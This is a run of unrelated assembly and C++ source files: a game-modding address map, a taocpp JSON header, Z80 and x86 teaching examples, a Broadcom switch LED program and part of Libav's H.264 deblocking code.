0x00BC .word 0x0048 .word 0x0008 #; (122) .word 0x00C4 .word 0x0048 .word 0x0008 #; (123) .word 0xFFFF .word 0x0000 .word 0x0000 #; (124) .word 0xFFFF .word 0x0000 .word 0x0000 #; (125) .word 0xFFFF .word 0x0000 .word 0x0000 #; (126) .word 0xFFFF .word 0x0000 .word 0x0000 #; (127) .word 0xFFFF .word 0x0000 .word 0x0000 #; (128) .word 0xFFFF .word 0x0000 .word 0x0000 #; (129) .word 0xFFFF .word 0x0000 .word 0x0000 #; (130) .word 0xFFFF .word 0x0000 .word 0x0000 #; (131) .word 0xFFFF .word 0x0000 .word 0x0000 #; (132) .word 0xFFFF .word 0x0000 .word 0x0000 #; (133) .word 0xFFFF .word 0x0000 .word 0x0000 #; (134) .word 0xFFFF .word 0x0000 .word 0x0000 #; (135) .word 0xFFFF .word 0x0000 .word 0x0000 #; (136) .word 0xFFFF .word 0x0000 .word 0x0000 #; (137) .word 0xFFFF .word 0x0000 .word 0x0000 #; (138) .word 0xFFFF .word 0x0000 .word 0x0000 #; (139) .word 0xFFFF .word 0x0000 .word 0x0000 #; (140) .word 0xFFFF .word 0x0000 .word 0x0000 #; (141) .word 0xFFFF .word 0x0000 .word 0x0000 #; (142) .word 0xFFFF .word 0x0000 .word 0x0000 #; (143) .word 0xFFFF .word 0x0000 .word 0x0000 #; (144) .word 0xFFFF .word 0x0000 .word 0x0000 #; (145) .word 0xFFFF .word 0x0000 .word 0x0000 #; (146) .word 0xFFFF .word 0x0000 .word 0x0000 #; (147) .word 0xFFFF .word 0x0000 .word 0x0000 #; (148) .word 0xFFFF .word 0x0000 .word 0x0000 #; (149) .word 0xFFFF .word 0x0000 .word 0x0000 #; (150) .word 0xFFFF .word 0x0000 .word 0x0000 #; (151) .word 0xFFFF .word 0x0000 .word 0x0000 #; (152) .word 0xFFFF .word 0x0000 .word 0x0000 #; (153) .word 0xFFFF .word 0x0000 .word 0x0000 #; (154) .word 0xFFFF .word 0x0000 .word 0x0000 #; (155) .word 0xFFFF .word 0x0000 .word 0x0000 #; (156) .word 0xFFFF .word 0x0000 .word 0x0000 #; (157) .word 0xFFFF .word 0x0000 .word 0x0000 #; (158) .word 0xFFFF .word 0x0000 .word 0x0000 #; (159) .word 0xFFFF .word 0x0000 .word 0x0000 #; (160) .word 0xFFFF .word 0x0000 .word 0x0000 #; (161) .word 0xFFFF .word 0x0000 .word 0x0000 #; (162) .word 0xFFFF .word 0x0000 .word 0x0000 #; (163) .word 0xFFFF .word 0x0000 .word 0x0000 #; (164) .word 0xFFFF .word 0x0000 .word 0x0000 #; (165) .word 0xFFFF .word 0x0000 .word 0x0000 #; (166) .word 0xFFFF .word 0x0000 .word 0x0000 #; (167) .word 0xFFFF .word 0x0000 .word 0x0000 #; (168) .word 0xFFFF .word 0x0000 .word 0x0000 #; (169) .word 0xFFFF .word 0x0000 .word 0x0000 #; (170) .word 0xFFFF .word 0x0000 .word 0x0000 #; (171) .word 0xFFFF .word 0x0000 .word 0x0000 #; (172) .word 0xFFFF .word 0x0000 .word 0x0000 #; (173) .word 0xFFFF .word 0x0000 .word 0x0000 #; (174) .word 0xFFFF .word 0x0000 .word 0x0000 #; (175) .word 0xFFFF .word 0x0000 .word 0x0000 #; (176) .word 0xFFFF .word 0x0000 .word 0x0000 #; (177) .word 0xFFFF .word 0x0000 .word 0x0000 #; (178) .word 0xFFFF .word 0x0000 .word 0x0000 #; (179) .word 0xFFFF .word 0x0000 .word 0x0000 #; (180) .word 0xFFFF .word 0x0000 .word 0x0000 #; (181) .word 0xFFFF .word 0x0000 .word 0x0000 #; (182) .word 0xFFFF .word 0x0000 .word 0x0000 #; (183) .word 0xFFFF .word 0x0000 .word 0x0000 #; (184) .word 0xFFFF .word 0x0000 .word 0x0000 #; (185) .word 0xFFFF .word 0x0000 .word 0x0000 #; (186) .word 0xFFFF .word 0x0000 .word 0x0000 #; (187) .word 0xFFFF .word 0x0000 .word 0x0000 #; (188) .word 0xFFFF .word 0x0000 .word 0x0000 #; (189) .word 0xFFFF .word 0x0000 .word 0x0000 #; (190) .word 0xFFFF .word 0x0000 .word 0x0000 #; (191) .word 0xFFFF .word 0x0000 .word 0x0000 #; (192) .word 0xFFFF .word 0x0000 .word 0x0000 #; (193) .word 0xFFFF .word 0x0000 .word 0x0000 #; (194) .word 0xFFFF .word 0x0000 .word 0x0000 #; (195) .word 0xFFFF .word 0x0000 .word 0x0000 #; (196) .word 0xFFFF .word 0x0000 .word 0x0000 #; (197) .word 0xFFFF .word 0x0000 .word 0x0000 #; (198) .word 0xFFFF .word 0x0000 .word 0x0000 #; (199) .word 0xFFFF .word 0x0000 .word 0x0000 #; (200) .word 0xFFFF .word 0x0000 .word 0x0000 #; (201) .word 0xFFFF .word 0x0000 .word 0x0000 #; (202) .word 0xFFFF .word 0x0000 .word 0x0000 #; (203) .word 0xFFFF .word 0x0000 .word 0x0000 #; (204) .word 0xFFFF .word 0x0000 .word 0x0000 #; (205) .word 0xFFFF .word 0x0000 .word 0x0000 #; (206) .word 0xFFFF .word 0x0000 .word 0x0000 #; (207) .word 0xFFFF .word 0x0000 .word 0x0000 #; (208) .word 0xFFFF .word 0x0000 .word 0x0000 #; (209) .word 0xFFFF .word 0x0000 .word 0x0000 #; (210) .word 0xFFFF .word 0x0000 .word 0x0000 #; (211) .word 0xFFFF .word 0x0000 .word 0x0000 #; (212) .word 0xFFFF .word 0x0000 .word 0x0000 #; (213) .word 0xFFFF .word 0x0000 .word 0x0000 #; (214) .word 0xFFFF .word 0x0000 .word 0x0000 #; (215) .word 0xFFFF .word 0x0000 .word 0x0000 #; (216) .word 0xFFFF .word 0x0000 .word 0x0000 #; (217) .word 0xFFFF .word 0x0000 .word 0x0000 #; (218) .word 0xFFFF .word 0x0000 .word 0x0000 #; (219) .word 0xFFFF .word 0x0000 .word 0x0000 #; (220) .word 0xFFFF .word 0x0000 .word 0x0000 #; (221) .word 0xFFFF .word 0x0000 .word 0x0000 #; (222) .word 0xFFFF .word 0x0000 .word 0x0000 #; (223) .word 0xFFFF .word 0x0000 .word 0x0000 #; (224) .word 0xFFFF .word 0x0000 .word 0x0000 #; (225) .word 0xFFFF .word 0x0000 .word 0x0000 #; (226) .word 0xFFFF .word 0x0000 .word 0x0000 #; (227) .word 0xFFFF .word 0x0000 .word 0x0000 #; (228) .word 0xFFFF .word 0x0000 .word 0x0000 #; (229) .word 0xFFFF .word 0x0000 .word 0x0000 #; (230) .word 0xFFFF .word 0x0000 .word 0x0000 #; (231) .word 0xFFFF .word 0x0000 .word 0x0000 #; (232) .word 0xFFFF .word 0x0000 .word 0x0000 #; (233) .word 0xFFFF .word 0x0000 .word 0x0000 #; (234) .word 0xFFFF .word 0x0000 .word 0x0000 #; (235) .word 0xFFFF .word 0x0000 .word 0x0000 #; (236) .word 0xFFFF .word 0x0000 .word 0x0000 #; (237) .word 0xFFFF .word 0x0000 .word 0x0000 #; (238) .word 0xFFFF .word 0x0000 .word 0x0000 #; (239) .word 0xFFFF .word 0x0000 .word 0x0000 #; (240) .word 0xFFFF .word 0x0000 .word 0x0000 #; (241) .word 0xFFFF .word 0x0000 .word 0x0000 #; (242) .word 0xFFFF .word 0x0000 .word 0x0000 #; (243) .word 0xFFFF .word 0x0000 .word 0x0000 #; (244) .word 0xFFFF .word 0x0000 .word 0x0000 #; (245) .word 0xFFFF .word 0x0000 .word 0x0000 #; (246) .word 0xFFFF .word 0x0000 .word 0x0000 #; (247) .word 0xFFFF .word 0x0000 .word 0x0000 #; (248) .word 0xFFFF .word 0x0000 .word 0x0000 #; (249) .word 0xFFFF .word 0x0000 .word 0x0000 #; (250) .word 0xFFFF .word 0x0000 .word 0x0000 #; (251) .word 0xFFFF .word 0x0000 .word 0x0000 #; (252) .word 0xFFFF .word 0x0000 .word 0x0000 #; (253) .word 0xFFFF .word 0x0000 .word 0x0000 #; (254) .word 0xFFFF .word 0x0000 .word 0x0000 #; (255) .word 0xFFFF .word 0x0000 .word 0x0000 #; HookAddr table HookCount = 1 HookAddr: .long DebugText_Init #; Dummy FF because my build system is kind of really slapped together DummyTerminator: .string "!END!" #; Force padding .org 0x53479C, 0x00 #; Variables .bss . = 0x625BFC CurrentFile: . = 0x6260A4 TexturePagesLoaded: . = 0x6897C8 CharDif_X: . = 0x6897CC CharDif_Y: . = 0x6897D0 CharDif_Z: . = 0x6DA61C Ending_TextTexPage: . = 0x6DA636 Credits_ControlCharLookup: . = 0x6DB834 Credits_CharRenderTable: . = 0x6DD860 RenderMode: . = 0x6E9908 Game_WindowCount: . = 0x6E991C Game_HUDSplitStyle: . = 0x713060 Game_ModelCount: . = 0x713064 Game_PartCount: . = = 0x713068 Game_VertexCount: . = 0x71306C Game_TriCount: . = 0x713070 Game_QuadCount: . = 0x713074 Game_AnimFrameCount: . = 0x713080 Sonic_ModelAttribBasePtr: . = 0x7130BC Sonic_AnimFrameIdx: . = 0x7133A0 CharModel_QuadPtr: . = 0x7133A4 #; Custom; see attribs.dat CharModel_AttribStart: . = 0x713E68 CharModel_VertexPtr: . = 0x72A5D8 CharModel_BasePtr: . = 0x75EB18 AnimFrames_BasePtr: . = 0x7BC4A8 Sonic_GouradPtr: . = 0x8F6C28 MISC00TexPage: . = 0x8F6C30 Tex_Player00: . = 0x8F6C3C HUDTexPage: . = 0x8F6C49 TilesetPage: . = 0x8FB8EC Game_Course: . = 0x8FB950 Game_HudStyle: . = 0x8FB954 Game_HUDTTStyle: . = 0x8FBA74 CoinCollection: . = 0x8FD450 CatchUpOpt: . = 0x901C70 Game_TaggedCharCount: . = 0x901CC4 TimeToRaceStart: . = 0x94BCF4 Game_Weather:
// Copyright (c) 2016-2020 Dr. Colin Hirsch and Daniel Frey // Please see LICENSE for license or visit https://github.com/taocpp/json/ #ifndef TAO_JSON_EVENTS_DISCARD_HPP #define TAO_JSON_EVENTS_DISCARD_HPP #include <cstddef> #include <cstdint> #include <string_view> #include "../binary_view.hpp" namespace tao::json::events { // Events consumer that discards events. struct discard { void null() noexcept {} void boolean( const bool /*unused*/ ) noexcept {} void number( const std::int64_t /*unused*/ ) noexcept {} void number( const std::uint64_t /*unused*/ ) noexcept {} void number( const double /*unused*/ ) noexcept {} void string( const std::string_view /*unused*/ ) noexcept {} void binary( const tao::binary_view /*unused*/ ) noexcept {} void begin_array( const std::size_t /*unused*/ = 0 ) noexcept {} void element() noexcept {} void end_array( const std::size_t /*unused*/ = 0 ) noexcept {} void begin_object( const std::size_t /*unused*/ = 0 ) noexcept {} void key( const std::string_view /*unused*/ ) noexcept {} void member() noexcept {} void end_object( const std::size_t /*unused*/ = 0 ) noexcept {} }; } // namespace tao::json::events #endif
DEVICE ZXSPECTRUMNEXT MMU 0 n, 0 ORG 0x1F00 ; include 0x2200 bytes ; => should include up 0x100 bytes into page 0 ; => then 0x2000 bytes into page 1 ; => and final 0x100 bytes into page 2 INCBIN "mmu_incbin_bug_data.i.asm" ASSERT 0x100 == $ && 2 == $$ ; include another 0x2200 bytes, starting from 0x100 in page 2 ; => should include up 0x1F00 bytes into page 2 ; => then 0x300 bytes into page 3 (failed in v1.13.2) INCBIN "mmu_incbin_bug_data.i.asm" ASSERT 0x300 == $ && 3 == $$
; A296894: Numbers n whose base-14 digits d(m), d(m-1), ..., d(0) have #(pits) = #(peaks); see Comments. ; Submitted by Jamie Morken(s3) ; 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 mov $1,$0 seq $1,50519 ; Increments of arithmetic progression of at least 6 terms having the same value of phi in A050518. mov $0,$1 div $0,30
ORG 50000 LD A,2 ; upper screen CALL 5633 ; open channel LD IX,VAR2 LD B,255 ; Loop 256 A possible values LD D,0 ; Start with "A" == 0 ; DE will be loaded into AF LOOP2: LD E,(HL) ; LOAD "F" from table LD (IX),D CALL DAATEST INC D DJNZ LOOP2 LD E,(HL) ; we need this for FF LD (IX),D CALL DAATEST ; need to return to lower screen LD A,1 ; lower screen CALL 5633 ; open channel CALL $15DE ; WAIT-KEY1 RET ; ============================= ; DAA wrapper ; ============================= DAATEST: PUSH HL PUSH BC PUSH DE ; AF = DE PUSH DE POP AF CALL PRINT ; reload DE POP DE PUSH DE ; AF = DE PUSH DE POP AF BIT 7,(IX) ; instruction to test CALL PRINT LD A,13 ; NEW LINE RST $10 POP DE POP BC POP HL RET ; ============================= ; print line FLAGS A FLAGS' A' ; ============================= PRINT: PUSH AF PUSH AF POP DE ; PRINT S FLAG LD A,$30 ; "0" BIT 7,E JR Z,ISZERO1 LD A,83 ; "S" ISZERO1: RST $10 ; PRINT Z FLAG LD A,$30 ; "0" BIT 6,E JR Z,ISZERO2 LD A,90 ; "Z" ISZERO2: RST $10 ; PRINT X FLAG LD A,$30 ; "0" BIT 5,E JR Z,ISZERO3 LD A,88 ; "X" ISZERO3: RST $10 ; PRINT H FLAG LD A,$30 ; "0" BIT 4,E JR Z,ISZERO4 LD A,72 ; "H" ISZERO4: RST $10 ; PRINT Y FLAG LD A,$30 ; "0" BIT 3,E JR Z,ISZERO5 LD A,89 ; "Y" ISZERO5: RST $10 ; PRINT P/V FLAG LD A,$30 ; "0" BIT 2,E JR Z,ISZERO6 LD A,80 ; "P" ISZERO6: RST $10 ; PRINT N FLAG LD A,$30 ; "0" BIT 1,E JR Z,ISZERO7 LD A,78 ; "N" ISZERO7: RST $10 ; PRINT N FLAG LD A,$30 ; "0" BIT 0,E JR Z,ISZERO8 LD A,67 ; "C" ISZERO8: RST $10 LD A,$20 ; " " RST $10 ; print "A" in hexa CALL PRINTA LD A,$20 ; " " RST $10 POP AF RET ; ============================= ; print "A" in hexa (stored in D) ; ============================= PRINTA: ; Highest 4 bits first LD A,D AND $F0 RRA RRA RRA RRA CALL PRINTHEXA ; lower 4 bits of A LD A,D AND $0F CALL PRINTHEXA RET ; ============================= ; print lower 4 bits of A in hexa ; ============================= PRINTHEXA: PUSH DE LD E,$30 ; "0" CP 10 JR C,ISDIGIT LD E,$37 ; "A" - 10 ISDIGIT: ADD A,E RST $10 POP DE RET VAR2: DB 0 END 50000
TITLE ArraySum Optimization (ArrySum.asm) INCLUDE Irvine32.inc Optimized = 1 .data Array DWORD 50 DUP(5) .code main PROC push LENGTHOF Array push OFFSET Array call ArraySum add sp,8 call WriteDec ; display the sum call Crlf exit main ENDP Comment ! IMPLEMENTING THE FOLLOWING C++ FUNCTION: int ArraySum( int array[], int count ) { int sum = 0; for(int i = 0; i < count; i++) sum += array[i]; return sum; } ! sum EQU <[ebp-4]> pArray EQU <[ebp+8]> count EQU <[ebp+12]> IF Optimized ;--------------------------------------------------------- ArraySum PROC ; Optimized version ;--------------------------------------------------------- push ebp mov ebp,esp ; set frame pointer push esi ; save ESI mov eax,0 ; sum = 0 mov esi,pArray ; array pointer mov ecx,count ; count L1: add eax,[esi] ; add value to sum add esi,4 ; next array position loopd L1 pop esi ; restore ESI pop ebp ret ; return sum (EAX) ArraySum ENDP ELSE ;--------------------------------------------------------- ArraySum PROC ; Non-optimized version ;--------------------------------------------------------- push ebp mov ebp,esp ; set frame pointer sub esp,4 ; create the sum variable push esi ; save ESI mov DWORD PTR sum,0 mov esi,pArray mov ecx,count L1: mov eax,[esi] ; get array value add sum,eax ; add to sum add esi,4 ; next array position loopd L1 pop esi ; restore ESI mov eax,sum ; put return value in EAX mov esp,ebp ; remove local variables pop ebp ret ArraySum ENDP ENDIF END main
; ; ; ; This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. ; ; Copyright 2007-2019 Broadcom Inc. All rights reserved. ; ; ; This is the default program for the (24+4 port) BCM56820 SDKs. ; To start it, use the following commands from BCM: ; ; led load sdk56820.hex ; led auto on ; led start ; ; The is 1 LEDs per XE port. ; ; There is one bit per 10 gigabit Ethernet LED with the following colors: ; ONE Black ; ZERO Green ; ; Each chip drives only its own LEDs and needs to write them in the order: ; A01/L01, L02/A02, ..., L24/A24 ; ; Link up/down info cannot be derived from LINKEN or LINKUP, as the LED ; processor does not always have access to link status. This program ; assumes link status is kept current in bit 0 of RAM byte (0xA0 + portnum). ; Generally, a program running on the main CPU must update these ; locations on link change; see linkscan callback in ; $SDK/src/appl/diag/ledproc.c. ; ; Current implementation: ; ; L01/A01 reflects port 1 link status: ; Black: no link ; Green: Link/Activity ; ; MIN_XE_PORT EQU 1 MAX_XE_PORT EQU 24 NUM_XE_PORT EQU 24 NUM_ALL_PORT EQU 24 MIN_PORT EQU 1 MAX_PORT EQU 24 NUM_PORT EQU 24 ; The TX/RX activity lights will be extended for ACT_EXT_TICKS ; so they will be more visible. TICKS EQU 1 SECOND_TICKS EQU (30*TICKS) ACT_EXT_TICKS EQU (SECOND_TICKS/3) TXRX_ALT_TICKS EQU (SECOND_TICKS/6) ; ; Main Update Routine ; ; This routine is called once per tick. ; update: ld a, MAX_XE_PORT up1: port a ld (PORT_NUM),a call link_activity ; Off if no link ld a,(PORT_NUM) dec a cmp a, 0 jnz up1 ; Update various timers inc (TXRX_ALT_COUNT) send NUM_PORT * 1 ; ; link_activity ; ; This routine calculates the activity LED for the current port. ; It extends the activity lights using timers (new activity overrides ; and resets the timers). ; ; Inputs: (PORT_NUM) ; Outputs: one bit sent to LED stream ; link_activity: ;jmp led_green ;DEBUG ONLY call get_link jnc led_black port a pushst RX pushst TX tor pop jnc led_green ; Always green Link up, No Activity ;jmp led_green ;DEBUG ONLY ld b, (TXRX_ALT_COUNT) and b, TXRX_ALT_TICKS jnz led_green jmp led_black link_status: ;jmp led_black ;DEBUG ONLY call get_link jnc led_black jmp led_green ; ; get_link ; ; This routine finds the link status LED for a port. ; Link info is in bit 0 of the byte read from PORTDATA[port] ; ; Inputs: Port number in a ; Outputs: Carry flag set if link is up, clear if link is down. ; Destroys: a, b ; get_link: ld b,PORTDATA add b,a ld b,(b) tst b,0 ret ; ; led_black, led_green ; ; Inputs: None ; Outputs: one bit to the LED stream indicating color ; Destroys: None ; led_black: pushst ONE pack ret led_green: pushst ZERO pack ret ; ; Variables (SDK software initializes LED memory from 0xa0-0xff to 0) ; TXRX_ALT_COUNT equ 0xe0 PORT_NUM equ 0xe1 ; ; Port data, which must be updated continually by main CPU's ; linkscan task. See $SDK/src/appl/diag/ledproc.c for examples. ; In this program, bit 0 is assumed to contain the link up/down status. ; ;Offset 0x1e00 - 0x80 ;LED scan chain assembly area ;Offset 0x1e80 - 0xa0 PORTDATA equ 0xa0 ; Size 48 + 1 + 4 bytes ; ; Symbolic names for the bits of the port status fields ; RX equ 0x0 ; received packet TX equ 0x1 ; transmitted packet COLL equ 0x2 ; collision indicator SPEED_C equ 0x3 ; 100 Mbps SPEED_M equ 0x4 ; 1000 Mbps DUPLEX equ 0x5 ; half/full duplex FLOW equ 0x6 ; flow control capable LINKUP equ 0x7 ; link down/up status LINKEN equ 0x8 ; link disabled/enabled status ZERO equ 0xE ; always 0 ONE equ 0xF ; always 1
;***************************************************************************** ;* MMX/SSE2/AVX-optimized 10-bit H.264 deblocking code ;***************************************************************************** ;* Copyright (C) 2005-2011 x264 project ;* ;* Authors: Oskar Arvidsson <oskar@irock.se> ;* Loren Merritt <lorenm@u.washington.edu> ;* Jason Garrett-Glaser <darkshikari@gmail.com> ;* ;* This file is part of Libav. ;* ;* Libav is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* Libav is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with Libav; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "x86inc.asm" %include "x86util.asm" SECTION_RODATA pw_pixel_max: times 8 dw ((1 << 10)-1) SECTION .text cextern pw_2 cextern pw_3 cextern pw_4 ; out: %4 = |%1-%2|-%3 ; clobbers: %5 %macro ABS_SUB 5 psubusw %5, %2, %1 psubusw %4, %1, %2 por %4, %5 psubw %4, %3 %endmacro ; out: %4 = |%1-%2|<%3 %macro DIFF_LT 5 psubusw %4, %2, %1 psubusw %5, %1, %2 por %5, %4 ; |%1-%2| pxor %4, %4 psubw %5, %3 ; |%1-%2|-%3 pcmpgtw %4, %5 ; 0 > |%1-%2|-%3 %endmacro %macro LOAD_AB 4 movd %1, %3 movd %2, %4 SPLATW %1, %1 SPLATW %2, %2 %endmacro ; in: %2=tc reg ; out: %1=splatted tc %macro LOAD_TC 2 movd %1, [%2] punpcklbw %1, %1 %if mmsize == 8 pshufw %1, %1, 0 %else pshuflw %1, %1, 01010000b pshufd %1, %1, 01010000b %endif psraw %1, 6 %endmacro ; in: %1=p1, %2=p0, %3=q0, %4=q1 ; %5=alpha, %6=beta, %7-%9=tmp ; out: %7=mask %macro LOAD_MASK 9 ABS_SUB %2, %3, %5, %8, %7 ; |p0-q0| - alpha ABS_SUB %1, %2, %6, %9, %7 ; |p1-p0| - beta pand %8, %9 ABS_SUB %3, %4, %6, %9, %7 ; |q1-q0| - beta pxor %7, %7 pand %8, %9 pcmpgtw %7, %8 %endmacro ; in: %1=p0, %2=q0, %3=p1, %4=q1, %5=mask, %6=tmp, %7=tmp ; out: %1=p0', m2=q0' %macro DEBLOCK_P0_Q0 7 psubw %3, %4 pxor %7, %7 paddw %3, [pw_4] psubw %7, %5 psubw %6, %2, %1 psllw %6, 2 paddw %3, %6 psraw %3, 3 mova %6, [pw_pixel_max] CLIPW %3, %7, %5 pxor %7, %7 paddw %1, %3 psubw %2, %3 CLIPW %1, %7, %6 CLIPW %2, %7, %6 %endmacro ; in: %1=x2, %2=x1, %3=p0, %4=q0 %5=mask&tc, %6=tmp %macro LUMA_Q1 6 pavgw %6, %3, %4 ; (p0+q0+1)>>1 paddw %1, %6 pxor %6, %6 psraw %1, 1 psubw %6, %5 psubw %1, %2 CLIPW %1, %6, %5 paddw %1, %2 %endmacro %macro LUMA_DEBLOCK_ONE 3 DIFF_LT m5, %1, bm, m4, m6 pxor m6, m6 mova %3, m4 pcmpgtw m6, tcm pand m4, tcm pandn m6, m7 pand m4, m6 LUMA_Q1 m5, %2, m1, m2, m4, m6 %endmacro %macro LUMA_H_STORE 2 %if mmsize == 8 movq [r0-4], m0 movq [r0+r1-4], m1 movq [r0+r1*2-4], m2 movq [r0+%2-4], m3 %else movq [r0-4], m0 movhps [r0+r1-4], m0 movq [r0+r1*2-4], m1 movhps [%1-4], m1 movq [%1+r1-4], m2 movhps [%1+r1*2-4], m2 movq [%1+%2-4], m3 movhps [%1+r1*4-4], m3 %endif %endmacro %macro DEBLOCK_LUMA 1 ;----------------------------------------------------------------------------- ; void deblock_v_luma( uint16_t *pix, int stride, int alpha, int beta, int8_t *tc0 ) ;----------------------------------------------------------------------------- cglobal deblock_v_luma_10_%1, 5,5,8*(mmsize/16) %assign pad 5*mmsize+12-(stack_offset&15) %define tcm [rsp] %define ms1 [rsp+mmsize] %define ms2 [rsp+mmsize*2] %define am [rsp+mmsize*3] %define bm [rsp+mmsize*4] SUB rsp, pad shl r2d, 2 shl r3d, 2 LOAD_AB m4, m5, r2d, r3d mov r3, 32/mmsize mov r2, r0 sub r0, r1 mova am, m4 sub r0, r1 mova bm, m5 sub r0, r1 .loop: mova m0, [r0+r1] mova m1, [r0+r1*2] mova m2, [r2] mova m3, [r2+r1] LOAD_MASK m0, m1, m2, m3, am, bm, m7, m4, m6 LOAD_TC m6, r4 mova tcm, m6 mova m5, [r0] LUMA_DEBLOCK_ONE m1, m0, ms1 mova [r0+r1], m5 mova m5, [r2+r1*2] LUMA_DEBLOCK_ONE m2, m3, ms2 mova [r2+r1], m5 pxor m5, m5 mova m6, tcm pcmpgtw m5, tcm psubw m6, ms1 pandn m5, m7 psubw m6, ms2 pand m5, m6 DEBLOCK_P0_Q0 m1, m2, m0, m3, m5, m7, m6 mova [r0+r1*2], m1 mova [r2], m2 add r0, mmsize add r2, mmsize add r4, mmsize/8 dec r3 jg .loop ADD rsp, pad RET cglobal deblock_h_luma_10_%1, 5,6,8*(mmsize/16) %assign pad 7*mmsize+12-(stack_offset&15) %define tcm [rsp] %define ms1 [rsp+mmsize] %define ms2 [rsp+mmsize*2] %define p1m [rsp+mmsize*3] %define p2m [rsp+mmsize*4] %define am [rsp+mmsize*5] %define bm [rsp+mmsize*6] SUB rsp, pad shl r2d, 2 shl r3d, 2 LOAD_AB m4, m5, r2d, r3d mov r3, r1 mova am, m4 add r3, r1 mov r5, 32/mmsize mova bm, m5 add r3, r1 %if mmsize == 16 mov r2, r0 add r2, r3 %endif .loop: %if mmsize == 8 movq m2, [r0-8] ; y q2 q1 q0 movq m7, [r0+0] movq m5, [r0+r1-8] movq m3, [r0+r1+0] movq m0, [r0+r1*2-8] movq m6, [r0+r1*2+0] movq m1, [r0+r3-8] TRANSPOSE4x4W 2, 5, 0, 1, 4 SWAP 2, 7 movq m7, [r0+r3] TRANSPOSE4x4W 2, 3, 6, 7, 4 %else movu m5, [r0-8] ; y q2 q1 q0 p0 p1 p2 x movu m0, [r0+r1-8] movu m2, [r0+r1*2-8] movu m3, [r2-8] TRANSPOSE4x4W 5, 0, 2, 3, 6 mova tcm, m3 movu m4, [r2+r1-8] movu m1, [r2+r1*2-8] movu m3, [r2+r3-8] movu m7, [r2+r1*4-8] TRANSPOSE4x4W 4, 1, 3, 7, 6 mova m6, tcm punpcklqdq m6, m7 punpckhqdq m5, m4 SBUTTERFLY qdq, 0, 1, 7 SBUTTERFLY qdq, 2, 3, 7 %endif mova p2m, m6 LOAD_MASK m0, m1, m2, m3, am, bm, m7, m4, m6 LOAD_TC m6, r4 mova tcm, m6 LUMA_DEBLOCK_ONE m1, m0, ms1 mova p1m, m5 mova m5, p2m LUMA_DEBLOCK_ONE m2, m3, ms2 mova p2m, m5 pxor m5, m5 mova m6, tcm pcmpgtw m5, tcm psubw m6, ms1 pandn m5, m7 psubw m6, ms2 pand m5, m6 DEBLOCK_P0_Q0 m1, m2, m0, m3, m5, m7, m6 mova m0, p1m mova m3, p2m TRANSPOSE4x4W 0, 1, 2, 3, 4 LUMA_H_STORE r2, r3 add r4, mmsize/8 lea r0, [r0+r1*(mmsize/2)] lea r2, [r2+r1*(mmsize/2)] dec r5 jg .loop ADD rsp, pad RET %endmacro INIT_XMM %ifdef ARCH_X86_64 ; in: m0=p1, m1=p0, m2=q0, m3=q1, m8=p2, m9=q2 ; m12=alpha, m13=beta ; out: m0=p1', m3=q1', m1=p0', m2=q0' ; clobbers: m4, m5, m6, m7, m10, m11, m14 %macro DEBLOCK_LUMA_INTER_SSE2 0 LOAD_MASK m0, m1, m2, m3, m12, m13, m7, m4, m6 LOAD_TC m6, r4 DIFF_LT m8, m1, m13, m10, m4 DIFF_LT m9, m2, m13, m11, m4 pand m6, m7 mova m14, m6 pxor m4, m4 pcmpgtw m6, m4 pand m6, m14 mova m5, m10 pand m5, m6 LUMA_Q1 m8, m0, m1, m2, m5, m4 mova m5, m11 pand m5, m6 LUMA_Q1 m9, m3, m1, m2, m5, m4 pxor m4, m4 psubw m6, m10 pcmpgtw m4, m14 pandn m4, m7 psubw m6, m11 pand m4, m6 DEBLOCK_P0_Q0 m1, m2, m0, m3, m4, m5, m6 SWAP 0, 8 SWAP 3, 9 %endmacro %macro DEBLOCK_LUMA_64 1 cglobal deblock_v_luma_10_%1, 5,5,15 %define p2 m8 %define p1 m0 %define p0 m1 %define q0 m2 %define q1 m3 %define q2 m9 %define mask0 m7 %define mask1 m10 %define mask2 m11 shl r2d, 2 shl r3d, 2 LOAD_AB m12, m13, r2d, r3d mov r2, r0 sub r0, r1 sub r0, r1 sub r0, r1 mov r3, 2 .loop: mova p2, [r0] mova p1, [r0+r1] mova p0, [r0+r1*2] mova q0, [r2] mova q1, [r2+r1] mova q2, [r2+r1*2] DEBLOCK_LUMA_INTER_SSE2 mova [r0+r1], p1 mova [r0+r1*2], p0 mova [r2], q0 mova [r2+r1], q1 add r0, mmsize add r2, mmsize add r4, 2 dec r3 jg .loop REP_RET cglobal deblock_h_luma_10_%1, 5,7,15 shl r2d, 2 shl r3d, 2 LOAD_AB m12, m13, r2d, r3d mov r2, r1 add r2, r1 add r2, r1 mov r5, r0 add r5, r2 mov r6, 2 .loop: movu m8, [r0-8] ; y q2 q1 q0 p0 p1 p2 x movu m0, [r0+r1-8] movu m2, [r0+r1*2-8] movu m9, [r5-8] movu m5, [r5+r1-8] movu m1, [r5+r1*2-8] movu m3, [r5+r2-8] movu m7, [r5+r1*4-8] TRANSPOSE4x4W 8, 0, 2, 9, 10 TRANSPOSE4x4W 5, 1, 3, 7, 10 punpckhqdq m8, m5 SBUTTERFLY qdq, 0, 1, 10 SBUTTERFLY qdq, 2, 3, 10 punpcklqdq m9, m7 DEBLOCK_LUMA_INTER_SSE2 TRANSPOSE4x4W 0, 1, 2, 3, 4 LUMA_H_STORE r5, r2 add r4, 2 lea r0, [r0+r1*8] lea r5, [r5+r1*8] dec r6 jg .loop REP_RET %endmacro INIT_XMM DEBLOCK_LUMA_64 sse2 %ifdef HAVE_AVX INIT_AVX DEBLOCK_LUMA_64 avx %endif %endif %macro SWAPMOVA 2 %ifid %1 SWAP %1, %2 %else mova %1, %2 %endif %endmacro ; 